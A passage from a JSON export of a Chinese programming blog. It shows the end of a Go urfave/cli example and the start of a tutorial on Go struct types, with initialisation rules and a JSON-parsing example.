class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Action = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;BOOM!\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(c.String(\u003cspan class=\"string\"\u003e\u0026#34;lang\u0026#34;\u003c/span\u003e), c.Int(\u003cspan class=\"string\"\u003e\u0026#34;port\u0026#34;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(language)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e c.Int(\u003cspan class=\"string\"\u003e\u0026#34;port\u0026#34;\u003c/span\u003e) == \u003cspan class=\"number\"\u003e8000\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e cli.NewExitError(\u003cspan class=\"string\"\u003e\u0026#34;invalid port\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e88\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Before = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;app Before\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.After = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;app After\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esort.Sort(cli.FlagsByName(app.Flags))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.HelpFlag = cli.BoolFlag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;help, h\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;Help!Help!\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.VersionFlag = cli.BoolFlag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;print-version, v\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;print version\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerr := app.Run(os.Args)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elog.Fatal(err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%BA%93urfave-cli%E7%AE%80%E4%BB%8B/"},{"title":"Go语言结构类型详解","time":"2022-11-22T11:36:06Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eGo允许用户自定义类型,当你需要用代码抽象描述一个事物或者对象的时候,可以声明一个 struct 类型来进行描述。\u003c/p\u003e\u003cp\u003e当然,Go语言中,用户还可以基于已有的类型来定义其他类型。\u003c/p\u003e\u003cp\u003e简单来说,Go语言中用户可以有两种方法定义类型,第一种是使用 struct 关键字来创造一个结构类型;第二种是基于已有的类型,将其作为新类型的类型说明。\u003c/p\u003e\u003ch2 id=\"01-自定义类型的基本使用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#01-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%B1%BB%E5%9E%8B%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"01. 自定义类型的基本使用\"\u003e\u003c/a\u003e\u003cstrong\u003e01.\u003c/strong\u003e 自定义类型的基本使用\u003c/h2\u003e\u003cp\u003e基于已有的类型的这种方式比较简单,但需要注意的是,虽然是基于已有类型来定义新类型,但是基础类型和新类型是完全不同的两种类型,不能相互赋值,因为Go语言中,编译器不会对不同类型的值做隐式转换。\u003c/p\u003e\u003cp\u003e当需要使用一个比较明确的名字类描述一种类型时,使用这种自定义类型就比较合适,比如定义一个表示年龄的类型可以基于整形来定义一个 Age 类型,特指年龄类型。\u003c/p\u003e\u003cp\u003e下面是基于已有类型的方式定义类型的示例\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 基于 int64 声明一个 Duration 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// int 是 Duration 的基本类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 但是他们是两个完全不同的类型,在Go中是不能相互赋值的\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Duration \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 声明一个 Duration 类型的变量 d\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e d Duration\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 声明并初始化int类型的变量i 为 50\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei := \u003cspan class=\"number\"\u003e50\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 尝试赋值会报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ed = i \u003cspan class=\"comment\"\u003e// Cannot use \u0026#39;i\u0026#39; (type int) as type Duration\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e使用关键字 struct 来声明一个结构类型时,要求字段是固定并且唯一的,并且字段的类型也是已知的,但是字段类型可以是内置类型(比如 string, bool, int 等等),也可以是用户自定义的类型(比如,本文中介绍的 struct 类型)。\u003c/p\u003e\u003cp\u003e声明struct 结构体的公式:\u003ccode\u003etype 结构体名称 struct {}\u003c/code\u003e 。\u003c/p\u003e\u003cp\u003e在任何时候,创建一个变量并初始化其零值时,我们习惯是使用关键字 var,这种用法是为了更明确的表示变量被设置为零值。\u003c/p\u003e\u003cp\u003e而如果是变量被初始化为非零值时,则使用短变量操作符 \u003ccode\u003e:=\u003c/code\u003e 和结构字面量 结构类型{ 字段: 字段值, } 或者 结构类型{ 字段1值, 字段2值 } 来创建变量。\u003c/p\u003e\u003cp\u003e两种字面量初始化方式的差异与限制:\u003c/p\u003e\u003cp\u003e结构类型{ 字段1值, 字段2值 } 这种初始化方式时:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e在最后一个字段值的结尾可以不用加逗号 ,\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e必须严格按照声明时的字段顺序来进行初始化,不然会得不到预期的结果;如果字段类型不一致,还会导致初始化失败\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e必须要初始化所有的字段,不然会报错 Too few values\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e结构类型{ 字段: 字段值, } 这种初始化方式时:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e每一个字段值的结尾必须要加一个逗号 ,\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e初始化时,不要考虑字段声明的顺序\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e允许只初始化部分字段\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 声明无状态的空结构体 animal\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etype\u003c/span\u003e animal \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 声明一个结构体 cat\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 内部有有 name, age 两个字段\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 字段 name 类型为 string类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 字段 age 类型为 int 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etype\u003c/span\u003e cat \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e age \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e c1 cat\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(c1) \u003cspan class=\"comment\"\u003e// { 0}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// c2 := cat{\u0026#34;kitten\u0026#34;} // 报错:Too few values\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c2 := cat{\u003cspan class=\"string\"\u003e\u0026#34;kitten\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(c2) \u003cspan class=\"comment\"\u003e// {kitten 1}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c3 := cat{age: \u003cspan class=\"number\"\u003e2\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(c3, c3.age) \u003cspan class=\"comment\"\u003e// { 2} 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 变量字段赋值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c3.name = \u003cspan class=\"string\"\u003e\u0026#34;kk\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 字段访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 变量.字段名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(c3.name) \u003cspan class=\"comment\"\u003e// kk\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e以上是 struct 结构类型的基本使用,但是在项目开发中会遇到其他的用法,比如解析 json 或者 xml 文件到结构体类型变量中。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 解析 json 的示例\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数据文件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// data.json\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;site\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;npr\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;http://www.npr.org/rss/rss.php?id=1001\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;rss\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;site\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;npr\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;http://www.npr.org/rss/rss.php?id=1008\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;rss\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;site\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;npr\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;http://www.npr.org/rss/rss.php?id=1006\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;rss\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// main.go\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 